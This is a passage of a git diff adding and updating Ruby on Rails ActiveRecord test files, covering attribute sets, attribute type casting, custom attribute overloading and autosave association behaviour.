+ attributes = builder.build_from_database(foo: '1.1', bar: '2.2')
+
+ assert_equal 1, attributes[:foo].value
+ assert_equal 2.2, attributes[:bar].value
+ assert_equal :foo, attributes[:foo].name
+ assert_equal :bar, attributes[:bar].name
+ end
+
+ test "building with custom types" do
+ builder = AttributeSet::Builder.new(foo: Type::Float.new)
+ attributes = builder.build_from_database({ foo: '3.3', bar: '4.4' }, { bar: Type::Integer.new })
+
+ assert_equal 3.3, attributes[:foo].value
+ assert_equal 4, attributes[:bar].value
+ end
+
+ test "[] returns a null object" do
+ builder = AttributeSet::Builder.new(foo: Type::Float.new)
+ attributes = builder.build_from_database(foo: '3.3')
+
+ assert_equal '3.3', attributes[:foo].value_before_type_cast
+ assert_equal nil, attributes[:bar].value_before_type_cast
+ assert_equal :bar, attributes[:bar].name
+ end
+
+ test "duping creates a new hash and dups each attribute" do
+ builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::String.new)
+ attributes = builder.build_from_database(foo: 1, bar: 'foo')
+
+ # Ensure the type cast value is cached
+ attributes[:foo].value
+ attributes[:bar].value
+
+ duped = attributes.dup
+ duped.write_from_database(:foo, 2)
+ duped[:bar].value << 'bar'
+
+ assert_equal 1, attributes[:foo].value
+ assert_equal 2, duped[:foo].value
+ assert_equal 'foo', attributes[:bar].value
+ assert_equal 'foobar', duped[:bar].value
+ end
+
+ test "freezing cloned set does not freeze original" do
+ attributes = AttributeSet.new({})
+ clone = attributes.clone
+
+ clone.freeze
+
+ assert clone.frozen?
+ assert_not attributes.frozen?
+ end
+
+ test "to_hash returns a hash of the type cast values" do
+ builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+ attributes = builder.build_from_database(foo: '1.1', bar: '2.2')
+
+ assert_equal({ foo: 1, bar: 2.2 }, attributes.to_hash)
+ assert_equal({ foo: 1, bar: 2.2 }, attributes.to_h)
+ end
+
+ test "values_before_type_cast" do
+ builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Integer.new)
+ attributes = builder.build_from_database(foo: '1.1', bar: '2.2')
+
+ assert_equal({ foo: '1.1', bar: '2.2' }, attributes.values_before_type_cast)
+ end
+
+ test "known columns are built with uninitialized attributes" do
+ attributes = attributes_with_uninitialized_key
+ assert attributes[:foo].initialized?
+ assert_not attributes[:bar].initialized?
+ end
+
+ test "uninitialized attributes are not included in the attributes hash" do
+ attributes = attributes_with_uninitialized_key
+ assert_equal({ foo: 1 }, attributes.to_hash)
+ end
+
+ test "uninitialized attributes are not included in keys" do
+ attributes = attributes_with_uninitialized_key
+ assert_equal [:foo], attributes.keys
+ end
+
+ test "uninitialized attributes return false for key?" do
+ attributes = attributes_with_uninitialized_key
+ assert attributes.key?(:foo)
+ assert_not attributes.key?(:bar)
+ end
+
+ test "unknown attributes return false for key?" do
+ attributes = attributes_with_uninitialized_key
+ assert_not attributes.key?(:wibble)
+ end
+
+ test "fetch_value returns the value for the given initialized attribute" do
+ builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+ attributes = builder.build_from_database(foo: '1.1', bar: '2.2')
+
+ assert_equal 1, attributes.fetch_value(:foo)
+ assert_equal 2.2, attributes.fetch_value(:bar)
+ end
+
+ test "fetch_value returns nil for unknown attributes" do
+ attributes = attributes_with_uninitialized_key
+ assert_nil attributes.fetch_value(:wibble) { "hello" }
+ end
+
+ test "fetch_value returns nil for unknown attributes when types has a default" do
+ types = Hash.new(Type::Value.new)
+ builder = AttributeSet::Builder.new(types)
+ attributes = builder.build_from_database
+
+ assert_nil attributes.fetch_value(:wibble) { "hello" }
+ end
+
+ test "fetch_value uses the given block for uninitialized attributes" do
+ attributes = attributes_with_uninitialized_key
+ value = attributes.fetch_value(:bar) { |n| n.to_s + '!' }
+ assert_equal 'bar!', value
+ end
+
+ test "fetch_value returns nil for uninitialized attributes if no block is given" do
+ attributes = attributes_with_uninitialized_key
+ assert_nil attributes.fetch_value(:bar)
+ end
+
+ test "the primary_key is always initialized" do
+ builder = AttributeSet::Builder.new({ foo: Type::Integer.new }, :foo)
+ attributes = builder.build_from_database
+
+ assert attributes.key?(:foo)
+ assert_equal [:foo], attributes.keys
+ assert attributes[:foo].initialized?
+ end
+
+ class MyType
+ def type_cast_from_user(value)
+ return if value.nil?
+ value + " from user"
+ end
+
+ def type_cast_from_database(value)
+ return if value.nil?
+ value + " from database"
+ end
+ end
+
+ test "write_from_database sets the attribute with database typecasting" do
+ builder = AttributeSet::Builder.new(foo: MyType.new)
+ attributes = builder.build_from_database
+
+ assert_nil attributes.fetch_value(:foo)
+
+ attributes.write_from_database(:foo, "value")
+
+ assert_equal "value from database", attributes.fetch_value(:foo)
+ end
+
+ test "write_from_user sets the attribute with user typecasting" do
+ builder = AttributeSet::Builder.new(foo: MyType.new)
+ attributes = builder.build_from_database
+
+ assert_nil attributes.fetch_value(:foo)
+
+ attributes.write_from_user(:foo, "value")
+
+ assert_equal "value from user", attributes.fetch_value(:foo)
+ end
+
+ def attributes_with_uninitialized_key
+ builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Float.new)
+ builder.build_from_database(foo: '1.1')
+ end
+ end
+end
diff --git a/activerecord/test/cases/attribute_test.rb b/activerecord/test/cases/attribute_test.rb
new file mode 100644
index 0000000000..7b325abf1d
--- /dev/null
+++ b/activerecord/test/cases/attribute_test.rb
@@ -0,0 +1,172 @@
+require 'cases/helper'
+require 'minitest/mock'
+
+module ActiveRecord
+ class AttributeTest < ActiveRecord::TestCase
+ setup do
+ @type = Minitest::Mock.new
+ end
+
+ teardown do
+ assert @type.verify
+ end
+
+ test "from_database + read type casts from database" do
+ @type.expect(:type_cast_from_database, 'type cast from database', ['a value'])
+ attribute = Attribute.from_database(nil, 'a value', @type)
+
+ type_cast_value = attribute.value
+
+ assert_equal 'type cast from database', type_cast_value
+ end
+
+ test "from_user + read type casts from user" do
+ @type.expect(:type_cast_from_user, 'type cast from user', ['a value'])
+ attribute = Attribute.from_user(nil, 'a value', @type)
+
+ type_cast_value = attribute.value
+
+ assert_equal 'type cast from user', type_cast_value
+ end
+
+ test "reading memoizes the value" do
+ @type.expect(:type_cast_from_database, 'from the database', ['whatever'])
+ attribute = Attribute.from_database(nil, 'whatever', @type)
+
+ type_cast_value = attribute.value
+ second_read = attribute.value
+
+ assert_equal 'from the database', type_cast_value
+ assert_same type_cast_value, second_read
+ end
+
+ test "reading memoizes falsy values" do
+ @type.expect(:type_cast_from_database, false, ['whatever'])
+ attribute = Attribute.from_database(nil, 'whatever', @type)
+
+ attribute.value
+ attribute.value
+ end
+
+ test "read_before_typecast returns the given value" do
+ attribute = Attribute.from_database(nil, 'raw value', @type)
+
+ raw_value = attribute.value_before_type_cast
+
+ assert_equal 'raw value', raw_value
+ end
+
+ test "from_database + read_for_database type casts to and from database" do
+ @type.expect(:type_cast_from_database, 'read from database', ['whatever'])
+ @type.expect(:type_cast_for_database, 'ready for database', ['read from database'])
+ attribute = Attribute.from_database(nil, 'whatever', @type)
+
+ type_cast_for_database = attribute.value_for_database
+
+ assert_equal 'ready for database', type_cast_for_database
+ end
+
+ test "from_user + read_for_database type casts from the user to the database" do
+ @type.expect(:type_cast_from_user, 'read from user', ['whatever'])
+ @type.expect(:type_cast_for_database, 'ready for database', ['read from user'])
+ attribute = Attribute.from_user(nil, 'whatever', @type)
+
+ type_cast_for_database = attribute.value_for_database
+
+ assert_equal 'ready for database', type_cast_for_database
+ end
+
+ test "duping dups the value" do
+ @type.expect(:type_cast_from_database, 'type cast', ['a value'])
+ attribute = Attribute.from_database(nil, 'a value', @type)
+
+ value_from_orig = attribute.value
+ value_from_clone = attribute.dup.value
+ value_from_orig << ' foo'
+
+ assert_equal 'type cast foo', value_from_orig
+ assert_equal 'type cast', value_from_clone
+ end
+
+ test "duping does not dup the value if it is not dupable" do
+ @type.expect(:type_cast_from_database, false, ['a value'])
+ attribute = Attribute.from_database(nil, 'a value', @type)
+
+ assert_same attribute.value, attribute.dup.value
+ end
+
+ test "duping does not eagerly type cast if we have not yet type cast" do
+ attribute = Attribute.from_database(nil, 'a value', @type)
+ attribute.dup
+ end
+
+ class MyType
+ def type_cast_from_user(value)
+ value + " from user"
+ end
+
+ def type_cast_from_database(value)
+ value + " from database"
+ end
+ end
+
+ test "with_value_from_user returns a new attribute with the value from the user" do
+ old = Attribute.from_database(nil, "old", MyType.new)
+ new = old.with_value_from_user("new")
+
+ assert_equal "old from database", old.value
+ assert_equal "new from user", new.value
+ end
+
+ test "with_value_from_database returns a new attribute with the value from the database" do
+ old = Attribute.from_user(nil, "old", MyType.new)
+ new = old.with_value_from_database("new")
+
+ assert_equal "old from user", old.value
+ assert_equal "new from database", new.value
+ end
+
+ test "uninitialized attributes yield their name if a block is given to value" do
+ block = proc { |name| name.to_s + "!" }
+ foo = Attribute.uninitialized(:foo, nil)
+ bar = Attribute.uninitialized(:bar, nil)
+
+ assert_equal "foo!", foo.value(&block)
+ assert_equal "bar!", bar.value(&block)
+ end
+
+ test "uninitialized attributes have no value" do
+ assert_nil Attribute.uninitialized(:foo, nil).value
+ end
+
+ test "attributes equal other attributes with the same constructor arguments" do
+ first = Attribute.from_database(:foo, 1, Type::Integer.new)
+ second = Attribute.from_database(:foo, 1, Type::Integer.new)
+ assert_equal first, second
+ end
+
+ test "attributes do not equal attributes with different names" do
+ first = Attribute.from_database(:foo, 1, Type::Integer.new)
+ second = Attribute.from_database(:bar, 1, Type::Integer.new)
+ assert_not_equal first, second
+ end
+
+ test "attributes do not equal attributes with different types" do
+ first = Attribute.from_database(:foo, 1, Type::Integer.new)
+ second = Attribute.from_database(:foo, 1, Type::Float.new)
+ assert_not_equal first, second
+ end
+
+ test "attributes do not equal attributes with different values" do
+ first = Attribute.from_database(:foo, 1, Type::Integer.new)
+ second = Attribute.from_database(:foo, 2, Type::Integer.new)
+ assert_not_equal first, second
+ end
+
+ test "attributes do not equal attributes of other classes" do
+ first = Attribute.from_database(:foo, 1, Type::Integer.new)
+ second = Attribute.from_user(:foo, 1, Type::Integer.new)
+ assert_not_equal first, second
+ end
+ end
+end
diff --git a/activerecord/test/cases/attributes_test.rb b/activerecord/test/cases/attributes_test.rb
new file mode 100644
index 0000000000..dbe1eb48db
--- /dev/null
+++ b/activerecord/test/cases/attributes_test.rb
@@ -0,0 +1,115 @@
+require 'cases/helper'
+
+class OverloadedType < ActiveRecord::Base
+ attribute :overloaded_float, Type::Integer.new
+ attribute :overloaded_string_with_limit, Type::String.new(limit: 50)
+ attribute :non_existent_decimal, Type::Decimal.new
+ attribute :string_with_default, Type::String.new, default: 'the overloaded default'
+end
+
+class ChildOfOverloadedType < OverloadedType
+end
+
+class GrandchildOfOverloadedType < ChildOfOverloadedType
+ attribute :overloaded_float, Type::Float.new
+end
+
+class UnoverloadedType < ActiveRecord::Base
+ self.table_name = 'overloaded_types'
+end
+
+module ActiveRecord
+ class CustomPropertiesTest < ActiveRecord::TestCase
+ test "overloading types" do
+ data = OverloadedType.new
+
+ data.overloaded_float = "1.1"
+ data.unoverloaded_float = "1.1"
+
+ assert_equal 1, data.overloaded_float
+ assert_equal 1.1, data.unoverloaded_float
+ end
+
+ test "overloaded properties save" do
+ data = OverloadedType.new
+
+ data.overloaded_float = "2.2"
+ data.save!
+ data.reload
+
+ assert_equal 2, data.overloaded_float
+ assert_kind_of Fixnum, OverloadedType.last.overloaded_float
+ assert_equal 2.0, UnoverloadedType.last.overloaded_float
+ assert_kind_of Float, UnoverloadedType.last.overloaded_float
+ end
+
+ test "properties assigned in constructor" do
+ data = OverloadedType.new(overloaded_float: '3.3')
+
+ assert_equal 3, data.overloaded_float
+ end
+
+ test "overloaded properties with limit" do
+ assert_equal 50, OverloadedType.columns_hash['overloaded_string_with_limit'].limit
+ assert_equal 255, UnoverloadedType.columns_hash['overloaded_string_with_limit'].limit
+ end
+
+ test "nonexistent attribute" do
+ data = OverloadedType.new(non_existent_decimal: 1)
+
+ assert_equal BigDecimal.new(1), data.non_existent_decimal
+ assert_raise ActiveRecord::UnknownAttributeError do
+ UnoverloadedType.new(non_existent_decimal: 1)
+ end
+ end
+
+ test "changing defaults" do
+ data = OverloadedType.new
+ unoverloaded_data = UnoverloadedType.new
+
+ assert_equal 'the overloaded default', data.string_with_default
+ assert_equal 'the original default', unoverloaded_data.string_with_default
+ end
+
+ test "defaults are not touched on the columns" do
+ assert_equal 'the original default', OverloadedType.columns_hash['string_with_default'].default
+ end
+
+ test "children inherit custom properties" do
+ data = ChildOfOverloadedType.new(overloaded_float: '4.4')
+
+ assert_equal 4, data.overloaded_float
+ end
+
+ test "children can override parents" do
+ data = GrandchildOfOverloadedType.new(overloaded_float: '4.4')
+
+ assert_equal 4.4, data.overloaded_float
+ end
+
+ test "overloading properties does not change column order" do
+ column_names = OverloadedType.column_names
+ assert_equal %w(id overloaded_float unoverloaded_float overloaded_string_with_limit string_with_default non_existent_decimal), column_names
+ end
+
+ test "caches are cleared" do
+ klass = Class.new(OverloadedType)
+
+ assert_equal 6, klass.columns.length
+ assert_not klass.columns_hash.key?('wibble')
+ assert_equal 6, klass.column_types.length
+ assert_equal 6, klass.column_defaults.length
+ assert_not klass.column_names.include?('wibble')
+ assert_equal 5, klass.content_columns.length
+
+ klass.attribute :wibble, Type::Value.new
+
+ assert_equal 7, klass.columns.length
+ assert klass.columns_hash.key?('wibble')
+ assert_equal 7, klass.column_types.length
+ assert_equal 7, klass.column_defaults.length
+ assert klass.column_names.include?('wibble')
+ assert_equal 6, klass.content_columns.length
+ end
+ end
+end
diff --git a/activerecord/test/cases/autosave_association_test.rb b/activerecord/test/cases/autosave_association_test.rb
index 16ce150396..04d5a2869c 100644
--- a/activerecord/test/cases/autosave_association_test.rb
+++ b/activerecord/test/cases/autosave_association_test.rb
@@ -1,8 +1,10 @@
require 'cases/helper'
require 'models/bird'
+require 'models/comment'
require 'models/company'
require 'models/customer'
require 'models/developer'
+require 'models/computer'
require 'models/invoice'
require 'models/line_item'
require 'models/order'
@@ -17,8 +19,38 @@ require 'models/tag'
require 'models/tagging'
require 'models/treasure'
require 'models/eye'
+require 'models/electron'
+require 'models/molecule'
+require 'models/member'
+require 'models/member_detail'
+require 'models/organization'
class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
+ def test_autosave_validation
+ person = Class.new(ActiveRecord::Base) {
+ self.table_name = 'people'
+ validate :should_be_cool, :on => :create
+ def self.name; 'Person'; end
+
+ private
+
+ def should_be_cool
+ unless self.first_name == 'cool'
+ errors.add :first_name, "not cool"
+ end
+ end
+ }
+ reference = Class.new(ActiveRecord::Base) {
+ self.table_name = "references"
+ def self.name; 'Reference'; end
+ belongs_to :person, autosave: true, class: person
+ }
+
+ u = person.create!(first_name: 'cool')
+ u.update_attributes!(first_name: 'nah') # still valid because validation only applies on 'create'
+ assert reference.create!(person: u).persisted?
+ end
+
def test_should_not_add_the_same_callbacks_multiple_times_for_has_one
assert_no_difference_when_adding_callbacks_twice_for Pirate, :ship
end
@@ -37,10 +69,6 @@ class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
private
- def base
- ActiveRecord::Base
- end
-
def assert_no_difference_when_adding_callbacks_twice_for(model, association_name)
reflection = model.reflect_on_association(association_name)
assert_no_difference "callbacks_for_model(#{model.name}).length" do
@@ -49,9 +77,9 @@ class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
end
def callbacks_for_model(model)
- model.instance_variables.grep(/_callbacks$/).map do |ivar|
+ model.instance_variables.grep(/_callbacks$/).flat_map do |ivar|
model.instance_variable_get(ivar)
- end.flatten
+ end
end
end
@@ -161,16 +189,16 @@ class TestDefaultAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCas
end
def test_callbacks_firing_order_on_update
- eye = Eye.create(:iris_attributes => {:color => 'honey'})
- eye.update_attributes(:iris_attributes => {:color => 'green'})
+ eye = Eye.create(iris_attributes: {color: 'honey'})
+ eye.update(iris_attributes: {color: 'green'})
assert_equal [true, false], eye.after_update_callbacks_stack
end
def test_callbacks_firing_order_on_save
- eye = Eye.create(:iris_attributes => {:color => 'honey'})
+ eye = Eye.create(iris_attributes: {color: 'honey'})
assert_equal [false, false], eye.after_save_callbacks_stack
- eye.update_attributes(:iris_attributes => {:color => 'blue'})
+ eye.update(iris_attributes: {color: 'blue'})
assert_equal [false, false, false, false], eye.after_save_callbacks_stack
end
end
@@ -343,6 +371,33 @@ class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::Test
end
end
+class TestDefaultAutosaveAssociationOnAHasManyAssociationWithAcceptsNestedAttributes < ActiveRecord::TestCase
+ def test_invalid_adding_with_nested_attributes
+ molecule = Molecule.new
+ valid_electron = Electron.new(name: 'electron')
+ invalid_electron = Electron.new
+
+ molecule.electrons = [valid_electron, invalid_electron]
+ molecule.save
+
+ assert_not invalid_electron.valid?
+ assert valid_electron.valid?
+ assert_not molecule.persisted?, 'Molecule should not be persisted when its electrons are invalid'
+ end
+
+ def test_valid_adding_with_nested_attributes
+ molecule = Molecule.new
+ valid_electron = Electron.new(name: 'electron')
+
+ molecule.electrons = [valid_electron]
+ molecule.save
+
+ assert valid_electron.valid?
+ assert molecule.persisted?
+ assert_equal 1, molecule.electrons.count
+ end
+end
+
class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
fixtures :companies, :people
@@ -401,7 +456,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
assert_equal new_client, companies(:first_firm).clients_of_firm.last
assert !companies(:first_firm).save
assert !new_client.persisted?
- assert_equal 1, companies(:first_firm).clients_of_firm(true).size
+ assert_equal 2, companies(:first_firm).clients_of_firm(true).size
end
def test_adding_before_save
@@ -439,7 +494,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
end
def test_assign_ids_for_through_a_belongs_to
- post = Post.new(:title => "Assigning IDs works!", :body => "You heared it here first, folks!")
+ post = Post.new(:title => "Assigning IDs works!", :body => "You heard it here first, folks!")
post.person_ids = [people(:david).id, people(:michael).id]
post.save
post.reload
@@ -449,38 +504,38 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
def test_build_before_save
company = companies(:first_firm)
- new_client = assert_no_queries { company.clients_of_firm.build("name" => "Another Client") }
+ new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build("name" => "Another Client") }
assert !company.clients_of_firm.loaded?
company.name += '-changed'
assert_queries(2) { assert company.save }
assert new_client.persisted?
- assert_equal 2, company.clients_of_firm(true).size
+ assert_equal 3, company.clients_of_firm(true).size
end
def test_build_many_before_save
company = companies(:first_firm)
- assert_no_queries { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
+ assert_no_queries(ignore_none: false) { company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) }
company.name += '-changed'
assert_queries(3) { assert company.save }
- assert_equal 3, company.clients_of_firm(true).size
+ assert_equal 4, company.clients_of_firm(true).size
end
def test_build_via_block_before_save
company = companies(:first_firm)
- new_client = assert_no_queries { company.clients_of_firm.build {|client| client.name = "Another Client" } }
+ new_client = assert_no_queries(ignore_none: false) { company.clients_of_firm.build {|client| client.name = "Another Client" } }
assert !company.clients_of_firm.loaded?
company.name += '-changed'
assert_queries(2) { assert company.save }
assert new_client.persisted?
- assert_equal 2, company.clients_of_firm(true).size
+ assert_equal 3, company.clients_of_firm(true).size
end
def test_build_many_via_block_before_save
company = companies(:first_firm)
- assert_no_queries do
+ assert_no_queries(ignore_none: false) do
company.clients_of_firm.build([{"name" => "Another Client"}, {"name" => "Another Client II"}]) do |client|
client.name = "changed"
end
@@ -488,7 +543,7 @@ class TestDefaultAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCa
company.name += '-changed'
assert_queries(3) { assert company.save }
- assert_equal 3, company.clients_of_firm(true).size
+ assert_equal 4, company.clients_of_firm(true).size
end
def test_replace_on_new_object
@@ -563,17 +618,32 @@ class TestDefaultAutosaveAssociationOnNewRecord < ActiveRecord::TestCase
firm.save!
assert !account.persisted?
end
+
+ def test_autosave_new_record_with_after_create_callback
+ post = PostWithAfterCreateCallback.new(title: 'Captain Murphy', body: 'is back')
+ post.comments.build(body: 'foo')
+ post.save!
+
+ assert_not_nil post.author_id
+ end
end
class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
- self.use_transactional_fixtures = false unless supports_savepoints?
+ self.use_transactional_fixtures = false
- def setup
- super
+ setup do
@pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
@ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
end
+ teardown do
+ # We are running without transactional fixtures and need to cleanup.
+ Bird.delete_all
+ Parrot.delete_all
+ @ship.delete
+ @pirate.delete
+ end
+
# reload
def test_a_marked_for_destruction_record_should_not_be_be_marked_after_reload
@pirate.mark_for_destruction
@@ -626,10 +696,23 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
end
end
+ @ship.pirate.catchphrase = "Changed Catchphrase"
+
assert_raise(RuntimeError) { assert !@pirate.save }
assert_not_nil @pirate.reload.ship
end
+ def test_should_save_changed_has_one_changed_object_if_child_is_saved
+ @pirate.ship.name = "NewName"
+ assert @pirate.save
+ assert_equal "NewName", @pirate.ship.reload.name
+ end
+
+ def test_should_not_save_changed_has_one_unchanged_object_if_child_is_saved
+ @pirate.ship.expects(:save).never
+ assert @pirate.save
+ end
+
# belongs_to
def test_should_destroy_a_parent_association_as_part_of_the_save_transaction_if_it_was_marked_for_destroyal
assert !@ship.pirate.marked_for_destruction?
@@ -691,13 +774,13 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
def test_should_destroy_has_many_as_part_of_the_save_transaction_if_they_were_marked_for_destruction
2.times { |i| @pirate.birds.create!(:name => "birds_#{i}") }
- assert !@pirate.birds.any? { |child| child.marked_for_destruction? }
+ assert !@pirate.birds.any?(&:marked_for_destruction?)
- @pirate.birds.each { |child| child.mark_for_destruction }
+ @pirate.birds.each(&:mark_for_destruction)
klass = @pirate.birds.first.class
ids = @pirate.birds.map(&:id)
- assert @pirate.birds.all? { |child| child.marked_for_destruction? }
+ assert @pirate.birds.all?(&:marked_for_destruction?)
ids.each { |id| assert klass.find_by_id(id) }
@pirate.save
@@ -705,6 +788,13 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
ids.each { |id| assert_nil klass.find_by_id(id) }
end
+ def test_should_not_resave_destroyed_association
+ @pirate.birds.create!(name: :parrot)
+ @pirate.birds.first.destroy
+ @pirate.save!
+ assert @pirate.reload.birds.empty?
+ end
+
def test_should_skip_validation_on_has_many_if_marked_for_destruction
2.times { |i| @pirate.birds.create!(:name => "birds_#{i}") }
@@ -724,14 +814,14 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
@pirate.birds.each { |bird| bird.name = '' }
assert !@pirate.valid?
- @pirate.birds.each { |bird| bird.destroy }
+ @pirate.birds.each(&:destroy)
assert @pirate.valid?
end
def test_a_child_marked_for_destruction_should_not_be_destroyed_twice_while_saving_has_many
@pirate.birds.create!(:name => "birds_1")
- @pirate.birds.each { |bird| bird.mark_for_destruction }
+ @pirate.birds.each(&:mark_for_destruction)
assert @pirate.save
@pirate.birds.each { |bird| bird.expects(:destroy).never }
@@ -764,6 +854,20 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
assert_equal 2, @pirate.birds.reload.length
end
+ def test_should_save_new_record_that_has_same_value_as_existing_record_marked_for_destruction_on_field_that_has_unique_index
+ Bird.connection.add_index :birds, :name, unique: true
+
+ 3.times { |i| @pirate.birds.create(name: "unique_birds_#{i}") }
+
+ @pirate.birds[0].mark_for_destruction
+ @pirate.birds.build(name: @pirate.birds[0].name)
+ @pirate.save!
+
+ assert_equal 3, @pirate.birds.reload.length
+ ensure
+ Bird.connection.remove_index :birds, column: :name
+ end
+
# Add and remove callbacks tests for association collections.
%w{ method proc }.each do |callback_type|
define_method("test_should_run_add_callback_#{callback_type}s_for_has_many") do
@@ -784,7 +888,7 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
association_name_with_callbacks = "birds_with_#{callback_type}_callbacks"
@pirate.send(association_name_with_callbacks).create!(:name => "Crowe the One-Eyed")
- @pirate.send(association_name_with_callbacks).each { |c| c.mark_for_destruction }
+ @pirate.send(association_name_with_callbacks).each(&:mark_for_destruction)
child_id = @pirate.send(association_name_with_callbacks).first.id
@pirate.ship_log.clear
@@ -802,8 +906,8 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
def test_should_destroy_habtm_as_part_of_the_save_transaction_if_they_were_marked_for_destruction
2.times { |i| @pirate.parrots.create!(:name => "parrots_#{i}") }
- assert !@pirate.parrots.any? { |parrot| parrot.marked_for_destruction? }
- @pirate.parrots.each { |parrot| parrot.mark_for_destruction }
+ assert !@pirate.parrots.any?(&:marked_for_destruction?)
+ @pirate.parrots.each(&:mark_for_destruction)
assert_no_difference "Parrot.count" do
@pirate.save
@@ -836,18 +940,20 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
@pirate.parrots.each { |parrot| parrot.name = '' }
assert !@pirate.valid?
- @pirate.parrots.each { |parrot| parrot.destroy }
+ @pirate.parrots.each(&:destroy)
assert @pirate.valid?
end
def test_a_child_marked_for_destruction_should_not_be_destroyed_twice_while_saving_habtm
@pirate.parrots.create!(:name => "parrots_1")
- @pirate.parrots.each { |parrot| parrot.mark_for_destruction }
+ @pirate.parrots.each(&:mark_for_destruction)
assert @pirate.save
- assert_queries(0) do
- assert @pirate.save
+ Pirate.transaction do
+ assert_queries(0) do
+ assert @pirate.save
+ end
end
end
@@ -886,7 +992,7 @@ class TestDestroyAsPartOfAutosaveAssociation < ActiveRecord::TestCase
association_name_with_callbacks = "parrots_with_#{callback_type}_callbacks"
@pirate.send(association_name_with_callbacks).create!(:name => "Crowe the One-Eyed")
- @pirate.send(association_name_with_callbacks).each { |c| c.mark_for_destruction }
+ @pirate.send(association_name_with_callbacks).each(&:mark_for_destruction)
child_id = @pirate.send(association_name_with_callbacks).first.id
@pirate.ship_log.clear
@@ -1023,6 +1129,27 @@ class TestAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
end
end
+class TestAutosaveAssociationOnAHasOneThroughAssociation < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ super
+ organization = Organization.create
+ @member = Member.create
+ MemberDetail.create(organization: organization, member: @member)
+ end
+
+ def test_should_not_has_one_through_model
+ class << @member.organization
+ def save(*args)
+ super
+ raise 'Oh noes!'
+ end
+ end
+ assert_nothing_raised { @member.save }
+ end
+end
+
class TestAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
self.use_transactional_fixtures = false unless supports_savepoints?
@@ -1153,15 +1280,15 @@ module AutosaveAssociationOnACollectionAssociationTests
end
def test_should_default_invalid_error_from_i18n
- I18n.backend.store_translations(:en, :activerecord => {:errors => { :models =>
- { @association_name.to_s.singularize.to_sym => { :blank => "cannot be blank" } }
+ I18n.backend.store_translations(:en, activerecord: {errors: { models:
+ { @associated_model_name.to_s.to_sym => { blank: "cannot be blank" } }
}})
- @pirate.send(@association_name).build(:name => '')
+ @pirate.send(@association_name).build(name: '')
assert !@pirate.valid?
assert_equal ["cannot be blank"], @pirate.errors["#{@association_name}.name"]
- assert_equal ["#{@association_name.to_s.titleize} name cannot be blank"], @pirate.errors.full_messages
+ assert_equal ["#{@association_name.to_s.humanize} name cannot be blank"], @pirate.errors.full_messages
assert @pirate.errors[@association_name].empty?
ensure
I18n.backend = I18n::Backend::Simple.new
@@ -1277,6 +1404,7 @@ class TestAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
def setup
super
@association_name = :birds
+ @associated_model_name = :bird
@pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
@child_1 = @pirate.birds.create(:name => 'Posideons Killer')
@@ -1291,12 +1419,30 @@ class TestAutosaveAssociationOnAHasAndBelongsToManyAssociation < ActiveRecord::T
def setup
super
+ @association_name = :autosaved_parrots
+ @associated_model_name = :parrot
+ @habtm = true
+
+ @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+ @child_1 = @pirate.parrots.create(name: 'Posideons Killer')
+ @child_2 = @pirate.parrots.create(name: 'Killer bandita Dionne')
+ end
+
+ include AutosaveAssociationOnACollectionAssociationTests
+end
+
+class TestAutosaveAssociationOnAHasAndBelongsToManyAssociationWithAcceptsNestedAttributes < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false unless supports_savepoints?
+
+ def setup
+ super
@association_name = :parrots
+ @associated_model_name = :parrot
@habtm = true
- @pirate = Pirate.create(:catchphrase => "Don' botharrr talkin' like one, savvy?")
- @child_1 = @pirate.parrots.create(:name => 'Posideons Killer')
- @child_2 = @pirate.parrots.create(:name => 'Killer bandita Dionne')
+ @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+ @child_1 = @pirate.parrots.create(name: 'Posideons Killer')
+ @child_2 = @pirate.parrots.create(name: 'Killer bandita Dionne')
end
include AutosaveAssociationOnACollectionAssociationTests
@@ -1335,7 +1481,7 @@ class TestAutosaveAssociationValidationsOnAHasOneAssociation < ActiveRecord::Tes
assert !@pirate.valid?
end
- test "should not automatically asd validate associations without :validate => true" do
+ test "should not automatically add validate associations without :validate => true" do
assert @pirate.valid?
@pirate.non_validated_ship.name = ''
assert @pirate.valid?
